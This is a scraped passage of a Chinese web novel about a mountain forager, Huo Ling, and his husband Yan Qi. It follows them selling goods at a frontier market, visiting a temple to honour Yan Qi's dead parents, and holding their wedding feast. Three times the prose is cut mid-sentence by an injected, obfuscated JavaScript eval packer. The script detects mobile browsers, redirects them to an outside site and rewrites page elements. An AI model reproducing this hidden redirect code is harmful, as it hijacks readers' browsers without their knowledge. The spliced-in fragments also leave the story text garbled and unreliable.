也因这个缘故,镇子虽小却经贸繁盛,像那酒楼、客栈,大大小小开了好几家,入秋后常是住满了人。 最近市面上出的“黑油子”不多,走商发觉自己遇上了,眼底多是惊喜之色。 很快就将那牙人挤到一边去,不顾对方一脸不爽,以按一两二钱的价买走了三斤多的“黑油子”。 走商离开之前还不忘跟霍凌道:“我姓楚,住在镇上百顺客栈,若还有这等好货,你只管送过去,我一概好价收。” 霍凌应下,顺手送了他两块松黄当添头,但走商为了多寻货源,逢人便这么讲,实际赶山客手里不会常有好货,真主动送去了,他们也多挑拣压价。 因而他就是听听而已,松黄价廉,连着贵货相赠,赚个人情也无妨。 只是这开张生意过后,比起别家卖吃食和日用的摊子,在山货摊儿前面停下的人少得多。 在霍凌被一药铺伙计叫着,为那鹿角讲起价钱时,颜祺见有个夫郎蹲下来看鸭蛋,问什么价,如何卖。 他鼓起勇气上前道:“四文钱一个,都是这半月里的新鸭蛋,没一个破的,个顶个都好,腌成咸蛋都起沙流油。” 那夫郎手上动作一顿,抬头看他两眼,问道:“我听你口音不是本地的,是从关内来的?” 颜祺不解,但料着对方无甚恶意,仍点点头,“我是平安县的。” 夫郎惊喜道:“我家祖籍也是平安县,我就说你口音怪熟悉,像我爷奶。” 又言自己在娘家时和爷奶亲近,嫁人后一年里见不着两回,多是想念。 为这个,他让颜祺给他挑了八个鸭蛋。 “我也回家腌成咸蛋,让家里那口子就来下酒。” 颜祺挑完给他看,顺手择去粘着的鸭毛,夫郎觉他卖的东西干净,转而又看好猴头菇。 见干蘑菇从大到小站成一排,乐了两声,挑了不大不小的几个。 “我再要你三朵菇回去熬鸡汤,你给我算便宜些。” 颜祺没料到自己还能因遇见老乡而做成生意,昨晚霍凌教了他怎么用杆儿称,他快速回忆一番,把轻飘飘的猴头菇放上,看了好几眼刻度,在心里默算半晌。 “一共二十五文,加上鸭蛋是五十七文。” 想到对方说要自己便宜些,他不敢做主,偏过头去看霍凌。 本还担心霍凌在忙,顾不上,可汉子似乎后脑勺长了眼睛,他一看过去,霍凌就回过头,冲那夫郎笑了笑。 “这会子蛋价都贵,实是便宜不了太多,且不瞒您,这蛋是我们替村里人捎来卖的,这么着吧,您给个五十五文就成。” 小本生意上,抹个零星几文已是不错,利确实薄,人人心里都有数。 买菇的夫郎见秤杆高高的,菇的品相不差,痛快掏了钱。 霍凌回去同那磨了半天价的伙计又说几句,生意却是没成,伙计抬步走了。 他也不恼,知晓对方多半是去别家问价,要是觉得自家合适,早晚还会回来。 弗一转身,就见小哥儿捧了一把钱给他,他扬唇道:“你这头也开张了。” 刚刚伙计话赶话说得急,他没顾上颜祺,余光看了两眼,见颜祺拿了秤称菇,动作没差错,便没多话,只始终分神听着。 颜祺也挺高兴,觉得自己总算帮到了霍凌。 “那哥儿爽快,还说他爷奶和我是老乡。” “这就是缘分了。” 霍凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721431|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让颜祺把钱一齐收在钱袋里,不用给自己。 “我以前就嫌钱袋挂身上碍事,这遭辛苦你替我收着。” 颜祺动作顿了顿道:“那先装我这里,我把咱家的和大嫂的蛋钱分开,省的回家再数。” 他仔细把铜板分别装进两只钱袋,各自系了口,再揣进怀里拍了拍,这样怎么也掉不了。 过后近半个时辰,来问价的人不少,间或散卖出去两三斤普通的桦树茸和松黄,一斤晒干的腰子草。 东西要是离霍凌近,他就顺手称了卖,称了两次注意到颜祺一直往秤上看,趁没人时把秤递出去。 “你拿着练练手。” 颜祺确实这么想,见霍凌肯给自己,小声道:“那你也再看一遍,我怕看错了。” 多收了钱买主一定会说,少收了人家可不一定愿意补上。 霍凌不由笑道:“也不是有人来买东西才能使秤,你在摊子上拿几样东西连着称不就行了,和在家我教你时一样。” 颜祺愣了下,旋即也笑了。 是这个理,自己怎么刚刚没想通。 实际上颜祺学得很快,来上几次就愈发熟练了,不必贴上去细看,瞄一眼就知斤两,不知道内情的,根本看不出他今天头一回用杆儿秤。 霍凌落了闲,独剩下叫卖的活计,时不时还安抚一番看上去有些着急生意的颜祺。 “这季节里咱卖山货的就是这样,少有野菜、野蘑之类普通人家能上桌的,需耐着性子等人来收个大宗,今儿散卖的都算是多的,急不得。” 颜祺头一次来,把话记下。 但撇去山货,鸭蛋倒是卖得好,叶素萍擅养禽畜,鸭蛋个头都比别家的大,价钱却是差不离,眼看卖得就剩最后几个,是壳上有点脏的。 上午过半,先前来过的药铺伙计果然杀了个回马枪,问霍凌拿两对鹿角。 鹿角论斤称,白龙山上有两类鹿,一种体型大的马鹿,一种体型小的花鹿。 若卖鹿角和鹿茸,是花鹿的更值钱,马鹿角别看偌大一个,费劲扛下山卖不出个一钱银,无论是买主还是赶山客皆看不上。 霍凌以前图新鲜捡过一双极大的马鹿角,往山屋墙上凿了钉子挂着装饰,起初自觉气派得很,后来就随手当成衣架子用。 眼前这药铺要的,则是两对大小合宜的花鹿角,一只鹿角常见是两三斤沉。 霍凌把四只挨个称过,共是九斤二两,将零头抹了,按着四十文一斤的价卖出,得了三钱余六十文。 “本地的药铺怎不收桦树茸和松黄?” 颜祺目送药铺中人远去,见人只看鹿角,对旁的不分半个眼神,心下有疑问,想到便问出口。 “因这几样不算是正经药材,不必配成方子熬了吃,更似民间偏方,故而药铺不专门收,有人平日里想买,也是来集上寻赶山客,毕竟咱手里货新鲜,价还低,只有那等关内来的药商见着了会包下。” 颜祺若有所思。 “真是一样东西一个说法。” 他现今是赶山客的夫郎了,以后这些东西都要懂才好。 17.熟面孔 两人守着摊子,眼瞧着日头越来越高。 到正午时,在茶水摊子上添过一回的水囊再度喝空。 帮着叶素萍卖的鸭蛋一个不剩,余下一斤半的腰子草让两个结伴的汉子各自一半分了去。 想到这东西的效用,颜祺拎着上秤时不禁想:这得腰子多不好才要买这么多回家喝,晚上还睡觉不? 且他也想不通,晚上被窝里那档事和腰子有什么关系,比起腰子,好似更该补补手腕子。 霍凌自是猜不到夫郎在想什么,他单见人拿了个家里用旧的秃毛小炊帚,细细扫掉席子上残留的草屑,甚至没注意这东西何时装来的。 看了几眼,他也上前帮着打扫,颜祺却没让他上手。 “我这人闲不住,就爱擦擦这扫扫那的,其实也不脏。” 霍凌便知这是颜祺打发时间的法子,遂没再上前了。 本还在想午间买两样吃食回摊子上吃,结果运气不错,没等犯起饿,剩下的几斤山货也有了去处。 “这些松黄是两斤三两,我也赶着收摊,便宜卖了,先前都是卖三十文一斤的,现下算二十五文,多的三两有些碎,算送的,老爹你给个五十文拿去。” 霍凌靠这说辞勾回一个嫌价贵,问完价又走了的老汉,好歹把摊子清了空,就剩两双鹿角,品相较之前卖出去的两双差一些,偏小,上面的瑕也多,一看就是出自两头格外好斗的公鹿。 遂一并让了让价,三十五文,两双八斤,卖了不到三钱。 “走,吃饭去。” 霍凌将草席卷起,空了的蛋篮子也朝背篓里一丢,心情爽快。 东西都卖净了,下午不必再熬,且今天有颜祺陪着,能带小哥儿吃顿好的,还能去城隍庙逛逛。 “老板,来两碗肉卤的炸酱面。” 霍凌带着颜祺去了家自己常来的小面馆,一共只能搁得下五张桌,饭点里坐得满当当,可见生意多好。 颜祺把手搭在裤管上,模样颇是拘谨。 邻桌比他们先来,这会儿面已端上,海大的两只碗,里面卤子冒了尖,看得小哥儿眼睛都睁大了。 “一碗这么多?” 他抬手悄悄指,凑近问霍凌。 霍凌忍住揉揉夫郎脑袋的冲动,“你在关外呆久了就知,这边吃食都这般,量大管饱,那些个关内来的人都这么说。” “自家都舍不得这么吃呢。” 颜祺没问霍凌这一碗多少钱,想着霍凌来这里肯定是爱吃的,自己说多了,倒像是要管着人花钱一样。 不说别的,味道闻着是真好,坐在这里都能闻见。 “不过我以前没进过食肆,只在街上吃过一回素面,要八文钱。” 他比划了个“八”,继续道:“等闹起灾来,一碗面先是涨到了十几文,后来那面摊便撤了,任是做这营生的,也买不起白面。” 那顿面真是香,逃难路上做梦时他还梦到过几回,算是从前难得出门在外吃过的东西。 回忆到这里便让他强行收住了,再多想下去,无非是再伤心一场。 霍凌觉察到小哥儿的失落,他在那单薄的肩膀上轻捏一下,起身去了柜台,回来时手里多了碟豆干子。 “面还要等片刻,它家卤豆干子也好吃,你尝尝。” 接着从桌上筷筒里抽了筷,自然而然地夹起一块喂颜祺。 后者没躲过,只好张嘴咬了一口,旋即微讶,“是甜口的。” 他倒不知豆干子还能这般卤。 细品了品,该是放了好几种不同的料子,家中做卤,少有舍得下料和放糖的,那些香料价贵,一样只要一两,加在一起都是不少钱。 也不怪吃食都是外面的更香,有些钱合该人家赚。 霍凌把剩下半块直接填自己嘴里,“是不是还不错?” 豆干子算是小菜,切得方方正正,一碟子有八块,吃到还剩四块时炸酱面总算上来了。 卤子香气扑鼻,下面的面条不是白面而是黄面条,是用当地的苞米面扯出来的,看着金灿灿。 因这时节没有鲜黄瓜做菜码,便搁了些后厨自己发的嫩豆芽,竟也算爽口。 颜祺暗暗抿了下口水,见霍凌埋头吃起来,他方才挑了一筷子到嘴里。 “好吃不?”霍凌等他咽下第一口才问。 小哥儿用力点头,扬起唇角道:“好吃。” 奈何这一海碗的面条实在是太多,他吃了好半天,只觉得肚皮都要撑起来了,说句话就要打嗝,面还剩了小半碗。 “吃不下了?” 霍凌那一碗早就吃完,留了两块豆干子给颜祺,见人剩下,料着八成是吃撑了,本在家里时饭量也没多大,稍微吃多一点就积食。 为这个他还跟大嫂学了揉肚子,本是用在吃饭没数的小孩子身上的。 见人目露犹豫,他道:“吃不下别硬塞,回头难受的是自己。” 说罢伸了手去接碗,他知颜祺顾虑什么,受过饿的人最看不得浪费。 “余下的我帮你吃了就是。” 炸酱面这东西,吃起来碗里定是算不上干净,酱和面早就搅和在一起,混做乱七八糟的一个碗底。 “这我吃剩的……” 霍凌淡然道:“两口子还说这个。” 嘴都亲了,一根面条分两口也算事? 再者他饭量大,别说再帮颜祺吃一个碗底子,就算再端来一碗也吃得下。 结账时颜祺数了三十五个铜子出来,一碗肉卤的炸酱面是十五文,一碟豆干子五文,不算面条,里面肉实是不少,这价在食肆里的确实惠。 但一顿饭吃三十多个钱,以前颜祺是想都不敢想的,都赶上十多个鸡蛋了。 “吃好您再来!” 面馆的小老板热情,肩膀上搭着汗巾子,一路给送到门口。 过了午,街头依旧热闹,迎面走来一群晒得黢黑,风尘仆仆的人,各个都是大包小包,背了满身。 离远时颜祺本以为是外来的流民,离近了方知不是,这些人体格都很精壮,当是卖力气谋生的。 其中有个身量矮小些的,裹了块头巾,穿褐色短打的男装,脸上也是黑黄色,远看就似个黑瘦的汉子。 颜祺随着霍凌向前,与他们擦肩而过,不经意间同那“汉子”对视一眼。 他心悸一瞬,猛地捏住了霍凌的衣袖,等人走远了方缓缓松开。 霍凌见夫郎脸色骤变,眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726764|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头锁紧,下意识把人护在身后,回首问道:“怎么了?” 颜祺快速摇摇头,示意霍凌继续向前走,直到一口气走到城隍庙门口,能看到庙里萦天的青烟,他方抬眼看向霍凌,悄悄道:“我刚刚……好像看到田哥儿了。” “田哥儿?” 霍凌默了下才想起来,“你是说那个去了沈家的田哥儿?” 这下他也忍不住瞪大眼,“可他不是……” “我也不知,可看着像,他把脸涂黑了,连带孕痣也遮住。” 颜祺越说越觉得离奇,自言自语道:“应该是认错了,多半就是个长得像的汉子。” 但关外的汉子确实很少有那么矮的。 霍凌回忆一番,问颜祺可是在那行黑壮汉子中看到的。 他道:“那行人里打头的我认识,镇上人都叫他燕老大,是个木帮里的大把头。” 颜祺不解,“啥是木帮?” 难不成是做木工的? 霍凌与他解释,原来木帮指的就是在关外靠伐木、运木为生的行当,他们自成一派,有自己的行当规矩,例如运木头的又叫“放排子”,里面说了算的就是“大把头”。 “一入冬大雪封山,旁人都在家猫冬,只他们会进私山的林场里伐木,砍够了木头,运到江边,等开春冰化,再扎成木排子连人带木顺水漂,运到东边靠海处,上船走水路卖到南边去。” “不管那是不是田哥儿,就算真的是,他要是混进了放排人里,还有心掩饰,那沈家无论如何也找不到他,尤其那还是燕老大的排子。” 放排是赌命的生意,大江大河上,一旦翻了水就是尸骨无存,但要能平安回来,一票赚得抵得上别人两年。 干这行的,一不怕死,二不缺钱,能做上大把头的更是有些本事,多少有点黑白通吃的意思,如此才能防着半路扒排子打劫的水匪。 到了东边,把木头卖出,也是需有路子,识得人的。 颜祺听得一愣一愣,未曾想世上还有这行当,以前从未听说过。 “那一路上他们怎么吃喝?” “木排子就像一艘大船,上面可以搭棚子,再额外雇个烧饭的人,白日吃喝拉撒都在上头,夜里再靠岸,沿路岸边会有歇脚的脚店,专做木帮生意。” 霍凌说到这里,想了想道:“要说田哥儿就是这个上排子烧饭的,倒说得通。” 颜祺若有所思,“那要真是田哥儿,也算找着了条路。” 各人有各命,不管是不是,他也不会上去相询,就如沈家内宅究竟发生了何事,真相如何,同样无从知晓。 进得庙里,两人共买了一束香,霍凌取了香,转而又让负责收钱的老道取了两刀黄纸,到手后自然而然给了颜祺。 “拿着,一会儿有用。” 颜祺惊讶地捧着黄纸,嗅着自其上飘出的淡淡香火气,想说什么,又觉喉头哽住,只余望着霍凌,目光闪动。 霍凌上前,把黄纸往上轻托一下,沉声道:“我这做儿婿的,没机会去岳父岳母坟前拜祭,既来了此处,也该表表心意。” 颜祺吸了下鼻子,垂下头去,良久方道:“我替爹娘谢谢你,他俩要是见了你……定会替我欢喜的。” 18.祭亡人 进得大殿,挨个拜过城隍老爷和城隍奶奶,还旧愿,许新愿。 “叮当”几声,是霍凌朝功德箱里丢了香火钱。 两人依次从蒲团上起身,这一排有四个蒲团,最靠边的一个上面睡了只黑白花的猫,人来人往也不见它走,也不见人来驱赶。 颜祺朝那多看了几眼,不知霍凌注没注意到,于是他拽了拽霍凌的衣裳。 “你看,那有个猫。” 霍凌看过去,笑了笑道:“我以前来也见过它,是庙里养的。” “还养的挺胖。” 颜祺弯了弯眼睛。 “庙里常布施粥米,存的粮怕是不少,耗子肯定多。” 又看了半晌,瞧着殿外一连进来数人,快要站不下了,他们才离开。 霍凌寻了个路过的小道士,问哪里可以给过世的亲人烧纸,小道士给他们指路,“大殿后面有个大香炉,那里就可以。” 还问霍凌和颜祺要不要给逝者做法事,霍凌摆手说不必,小道士也没多言,叮嘱几句烧纸时的规矩,如此这般方能让亲人收到云云,说罢行了个礼就走了。 霍凌和颜祺以前确实没做过这事,诸如此类的老规矩,多是老一辈人懂得多,再教给小一辈,一代一代往下传。 依言到了香炉旁,正好没有人在,炉内有不少燃尽的纸灰。 颜祺对着香炉念了一遍爹娘名姓,生于何处,葬于何处以及生辰年岁,可惜具体的八字他并不知。 那边霍凌已将纸钱投入炉中,用一根香借火,示意颜祺点燃。 黄纸烧得迅速,火苗升高后没多久便逐渐消散,颜祺擦了擦泛湿的眼睛,复又朝大殿的方向拜了拜。 做完这件事,好似压在心头许久的一块大石被搬开了,霍凌眼见颜祺眉眼神情都松快了不少。 人活于世就是这般,有个念想和寄托,很多事更容易想开。 自己丧亲日久,早过了想起来就会伤怀的时候,可他的夫郎,怕是还需好一阵子才能彻底放下。 …… 离了城隍庙,不急着回程,还需扯红布做腰带。 这个不需多,二尺足够,布行伙计一看是买红布的就知是为了什么,收钱时不忘说了几句吉祥话。 布行隔壁就是间不大的绒线铺子,各色彩线铺了满柜,霍凌见颜祺一直朝里看,便道:“进去瞧一眼,看有没有想买的,也好带上山去。” 颜祺想说不必,可转念一想上了山添置东西确实不方便,现下在家,缺什么还能问问大嫂有没有。 他迟疑道:“我想着绣几方帕子,送大嫂、英子还有明哥儿,家里彩线还是少了些。” 其实给霍凌绣的红豆荷包也没有合适的色,红色是有,先前霍凌买了,但绿色尚缺。 不过他没主动提,与其把没做好的东西挂在嘴边,不如到时候直接拿出来。 “多简单的事,走,来一趟就挑全了。” 绒线铺子小小一店面,看着甚至有些杂乱,掌柜的如同坐在盘丝洞里似的,但你想要什么,她一伸手都能给你寻出来。 以霍凌的身高,站在里面显得铺子愈发逼仄,赶巧又有个夫郎往铺子内进,抬头瞅见他还吓了一跳。 继续留下去就挡人生意了,他只得退出去,在门口等颜祺。 “炉果儿嘞——卖炉果儿——” 一小娘子挽着篮儿沿街卖点心,炉果儿是白面加糖,混上鸡蛋做的吃食,家家多是过年才能做来吃,平常街上常有卖的,也是哄孩子时方舍得。 霍凌叫住她,问怎么卖。 “五文钱三个,您要是要十文钱的,我再多送您一个。” 炉果儿个头不大,咬几口就没了,霍凌算了算道:“那给我拣上二十文的。” “成,那多送您两个。” 小娘子模样伶俐,立刻数着数给他点了十四个出来,拿裁好的油纸一裹,霍凌摸了摸道:“竟还是热乎的。” 小娘子笑了笑,重新把篮儿上蓄了棉花的干净罩子盖回去。 “可不是,两刻钟前刚出锅,我赶着就出来卖了,您要是吃着好,下回再来,我总在这附近几条街转悠。” 霍凌揣着炉果儿等小哥儿买好线出来,两人各拿了一块儿边走边吃,实是酥脆又香甜。 如此吃着零嘴逛街市的经历,从前颜祺从未有过,觉得新鲜的同时又格外珍惜。 小小一个炉果儿,他分了好几口才舍得吃完,连油纸上剩的一点渣渣也舔干净。 大约是觉得他爱吃,当天夜里喝完药,霍凌变戏法似的又摸出一块炉果儿给他。 颜祺舔了舔唇,心道自己的嘴巴也是被养刁了,比起饴糖竟还真的更馋炉果儿。 “白日里都吃过了。” “难不成一天只能吃一块?哪来的这规矩。” 霍凌见颜祺不接过去,便从中间掰开,一人一半,这下小哥儿总算乐意吃了。 两人胳膊挨胳膊,像那山里树上捧着松果儿啃的松鼠似的,分完了一块点心。 吃完以后,忍不住相视一笑。 颜祺道:“咱俩可真是够馋嘴的。” 以前就算在家里,也没有这样吃零嘴的,英子嘴馋,照样被爹娘管着,哪里像他俩,躲在屋里“无法无天”。 “这就是当大人的好处,尤其是刚成亲还没有孩子的时候。你不知大哥大嫂,有英子前还隔三差五常做俩小菜,喝两口小酒的。” 一下子说到孩子身上,颜祺抬手蹭了蹭嘴角压根不存在的点心渣,红着耳朵侧身下炕。 “我去接水,咱俩漱个嘴,准备睡觉了。” 霍凌紧跟其后,把剩下的药碗端出去洗干净。 加了点盐的水涮去了嘴里的甜滋味,吹灯前霍凌瞥见了收在针线筐里的桂花头油。 这是今天在镇上新买的,下山后他问了才知,货郎上回进村没带头油,颜祺没买到,也没跟他讲。 倒也是正赶上了,镇上卖的比货郎手里的要好得多,当然也更贵些,一罐子五十文。 怀着小小的心思,他贴着夫郎,将脑袋搁上枕头。 荞麦皮的枕头有一股沙沙声,他喜欢睡平的,颜祺则喜欢抖一抖,把荞麦皮堆在靠下的地方,将脖子垫起来。 颜祺见他进被子,也翻了个身朝向他。 “明日你梳头,记得用那头油试试。” 颜祺听罢却道:“我……想留着过两日再用。” 霍凌开始还想劝颜祺别那么节省,他听大嫂说过,头油就是要常用着才好,英子从小也用,现在头发黑油油的,谁看了都夸。 一听这个,转念一想,过两日岂不就是两人摆喜酒的日子,那等等也无妨。 “好,那就过两日再说。” 现在身边的夫郎虽说没有桂花香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734985|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却有一股子药香,一样好闻的。 —— 霍凌下山这几日,可谓一日没闲着。 一日赶集销货,一日往双井屯拉回了新箱柜儿,一日再去见了回灶人和屠子,好说准了当日来掌灶和送肉之事。 因算着来的人比预想中多,他从山上猎的兔和榛鸡都不太够,还不得不另寻猎户额外买了几只添上。 再一眨眼,便到了正事关头。 三月十八,下山村霍家门前的鞭炮足响了一刻钟方歇。 虽只是补个喜宴,但除了省去接亲和送亲,其它的一概不少。 霍家从村长周家,请了周成祖的长媳孙氏做全福娘子,为颜祺梳头上妆,顺道铺床撒帐。 孙氏生了个银盘脸,描细柳眉,一副宽腰身兼垂珠耳,谁看了都说她是有福气的面相,近些年里,下山村和她娘家村里有人成亲,多是请她上门的,为此光是礼钱就收了不少。 事儿做多了,手上也熟。 “这头油香得很,看看抹上之后头发多黑亮,可是在城里买的?” 这会子她笑吟吟地帮颜祺挽发,见桌上的头油是新启封的,一股子桂花香,甜而不腻,不似进村货郎卖的便宜货,遂有此一问。 颜祺看了眼铜镜中的自己,其实人还是那个人,但颊上和唇上抹了点胭脂,好似令气色亮了几分。 他暗揪着衣摆,压住心中紧张,浅笑答话道:“是先前去镇上赶集时买的。” 孙氏夸赞:“定是二凌的主意,我早说那孩子仁义,别看迟迟不娶亲,一旦娶了,保管是疼人的。” 她几下子替颜祺束紧头发,哥儿的发式简单,比不得女子有各式各样的发髻,尤其乡下哥儿,多是和汉子一样束起来,至多在干活时裹个头巾。 但颜祺文静秀气,稍微梳洗打扮一下就不差。 颜祺没有陪嫁首饰,没什么能妆点的,这也不稀奇,村户里穷人多,能穿身新衣踩双新鞋便足够体面,有首饰是添彩,没有亦是寻常。 “转过来我瞧瞧。” 孙氏用沾水的梳子替他抿了抿最后几丝碎发,轻扶他下巴教小哥儿微微仰头,端详一二,满意道:“多好的模样,一会儿二凌见了,定是移不开眼嘞!” 吉时未到,新夫郎还不能出门,孙氏忙完自己应做的,留他在屋,独自先出去,片刻后肖明明进来,身旁还跟了个小尾巴霍英。 “素萍嫂子忙不开,让我帮忙照看着英子,顺道进来陪你说说话。” 肖明明凑近些看颜祺,好奇问道:“小祺哥,你搽了胭脂?” 颜祺抬手欲捂脸,“是孙大嫂子拿来的,我本说不用了 “哪能不用,成亲这日就要漂漂亮亮的才好。” 林家无甚余财,加上林长岁没了的爹在世时没个正形,和好些亲戚都闹得不愉,所以林家没打算像霍家这样摆酒。 肖明明对颜祺羡慕归羡慕,却没因此怨林家,席面都是摆给外人瞧的,关上门过好自己日子才最要紧。 就如现下这般,能有个机会过来见着友人出嫁,帮忙操持一二,吃顿喜酒也是极好的,过去哪敢想呢。 他低头笑问霍英,“英子,你看你婶伯美不美?” 霍英毫不犹豫,“当然美!” 颜祺让两人哄得脸红,坐下来闲聊了半晌,就听得屋外人声愈发喧嚷起来,便知是请来的客大抵都到了。 19.摆喜酒 一墙之隔的院子里,霍凌身穿周正干净的布衣,腰系簇新鲜红的腰带,正立在门口招待来客。 “大俊,快看你二凌叔,嘴唇子都快咧到耳根子了!” 听得一声熟悉的打趣,他看过去,见着杨庆生牵着儿子杨俊,与媳妇夏青曼往这走,满脸欠兮兮的高兴劲儿。 到跟前后拱拱手,“兄弟,话不多说,新婚大喜!” “二凌叔新婚大喜,百年好合!” 杨俊这孩子别看淘了些,在外面也是真大方,跟谁说话都是响亮亮的,十分讨人喜欢。 “谢谢大俊。” 霍凌揉一把他脑袋瓜,又朝夏青曼颔首示意,继而低头道:“有日子没见,又长高了,加把劲努力长,以后肯定比你爹还高。” “你夸他就夸他,怎么还捎带上我。” 杨庆生左右手都提了礼,不把自己当外人的往里走,见了霍峰和叶素萍便上前问好,“大峰哥,嫂子,我这东西放哪儿好?” “一张碎嘴子,就不能少说两句废话。” 夏青曼笑嗔一句,继而冲霍凌抱歉道:“我俩本说好早些来搭把手,结果让生意上的事绊了下,今天才往回赶,好歹是赶上了。” 霍凌道了谢,摆手道:“咱两家谁跟谁,都自己人,千万甭客气。” 他拍一下大俊肩膀,“英子前两日还念叨你呢,你去寻她耍去,大个儿也在后院。” 杨俊一蹦三尺高,撒手就没,夏青曼问了霍凌颜祺在何处,说是先进去和小嫂子打个招呼。 杨庆生眼里更是有活儿,把带来的礼放下后,便赶紧搬了张桌,铺好自己带来的纸张笔墨,坐在门口替霍凌记起随礼单子。 毕竟是在镇上做生意,不能说肚子里墨水多少,基本的识字记账还是会的。 杨家是城里有铺有屋的生意人,在下山村面子不小,来吃席的人见是他在门口记礼单子,不免对霍家高看一眼。 加上请的还是梁灶人,进去坐下后都说霍家这场席面不是随便摆的。 “看来是对那哥儿上心。” “虽没见过颜哥儿几回,但看着是个本分的。” “本分就行,这外来的就怕不安生,哪天再跑了,找谁说理去……” “哎呦,人家大喜日子你说这个!” 没成想这还不算什么,晚些时候村长周成祖也来了,还带着家里几人,一进院就被请入主桌。 村里人知周成祖和霍老栓之间有交情,那日要不是他多说一句,兴许霍凌和颜祺成不了。 为这个,有些村里抠门惯了,只掏薄礼就敢带着全家老小到处蹭大席的,也不好意思做的太过,怕传到村长耳朵里,回头被穿小鞋,咬着牙跺着脚,多少又往上添了些。 这次摆酒,霍家顾及有外村亲戚,没将开席的时辰摆在黄昏,而是改在正午时。 眼瞧着日头高挂,一辆牛车载着几人从村口的方向过来。 车头大马金刀坐一魁梧汉子,正是霍母的兄长,霍家兄弟的大舅岳松柏,连带夫郎乔氏,以及长子一家三口。 两人还生了个哥儿,随着夫君去了外县经商,瞧着是没赶回来。 霍凌见了母家亲戚,难掩欢喜,两边隔得远,除了过年走动,平日少有能见的机会。 一串舅舅舅伯、表哥表嫂的喊过去,再进门时,彼此都亲亲热热。 霍家这头少亲戚,主桌除了周家人,其余都是岳家的位子。 紧靠着的略次一桌,是杨庆生这等与霍凌或霍峰交好的村里人家,平常有个什么事,皆是二话不说肯帮忙的。 以及因肖明明和颜祺交情深的缘故,林家母子二人这回亦坐了这桌。 “好小子,可算是成亲了,我和你舅伯听说是还不敢信。” 岳松柏先是朝周成祖见礼,随即“邦邦”拍了霍凌后背两下子,咧嘴直乐。 外甥一把岁数还打光棍,舅家何尝不愁,次次过年见时都念叨一遍,只叹平日管不到那么远,到底是霍家人,不是岳家人。 至于娶的是本地人士还是外来的流民,反倒不重要,长林县本就多外来户,祖籍尽是关内的,谁也不必看不上谁。 “等礼数走罢,我带祺哥儿出来见过舅舅一家。” “好好好,这头不必你费心,快去外头招待乡亲去。” 待到摆出来的十来张尽数坐满,霍凌整了整衣裳,去门前接夫郎。 颜祺由孙氏和叶素萍一左一右陪着,腼腆含笑,伸出手去任由霍凌一把握住。 满院的笑声和起哄声夹在一起,两人便在这吵吵闹闹里简单过了礼。 两人双亲俱不在,便拜了主桌的长辈们,末了对拜起身,同敬了来客一杯酒。 结束后,各桌早就等不及地动筷开吃了。 席面上八个菜,皆沾着荤腥,四道大荤是铁锅炖鱼、蘑菇榛鸡、干炒兔丁、猪肉粉条,还有一桌一盆的凉拌猪杂碎,其余几道素瓜菜里头也都切足了肉片子。 乡下办席,要紧就是油旺、肉多、酒足,谁来此处都不是为了吃菜叶子的,何况这时节还只有干菜叶子。 梁灶人的灶上本事没话说,样样都是色香味俱全,举筷的人连道今日自己有口福。 似那榛鸡和野兔,就算山上到处都是,也并非人人进了山就能逮到的,城里人偶尔还舍得花钱买来吃,乡下哪个舍得,这遭吃两口香个嘴,绝对不亏。 酒敬了一圈,好些桌上的汉子已喝得脸红脖子粗,都是素日在家里馋酒,又被管着没法敞开喝的,多借着吃席的时候喝个够,作为主家也不好说什么,毕竟摆席面就图个热闹。 还有平日不太敢招惹霍凌,今天仗着是人家大日子,缠着要敬酒,不喝就直说是不是不给他面子的。 见外面闹腾得越来越不像话,一派酒气熏天,霍凌寻了个机会,先把颜祺送回了屋。 杨庆生趁机和林长岁一起,把那烦人的郑家汉子架到一旁。 这人就是官媒来村那日,对着两个哥儿评头论足的郑婆子的儿子,在家行三,都叫他郑三子。 他起先听闻老娘没看上人家,说什么貌丑不好生养,便没当回事,心道自己肯定能寻到更好的。 可后来在村里见了颜祺和肖明明,惊觉人家哥儿颇有姿色,且与霍凌以及那林家结巴有说有笑,端的是恩爱非常,心里酸得都要冒汤了。 为此回去还和老娘吵一架,把郑婆子给气得病倒,到现在都没顺过气来。 这不,为此今天郑婆子都没能来吃席占便宜,他倒厚着脸皮到了,随的礼也干巴。 杨庆生还是方才听林长岁磕磕巴巴说一通,搞明白当中这通自己错过的官司,顿时越看郑三子越气不打一处来。 眼见霍凌一脱身,他俩立刻把人给拎走,不是想喝么,哪里用霍凌出马,只他两个,足够把人喝到桌子底下,回去吐到亲娘都不认。 这厢霍凌把颜祺安顿好,出来时就看见林长岁在向郑三子“ 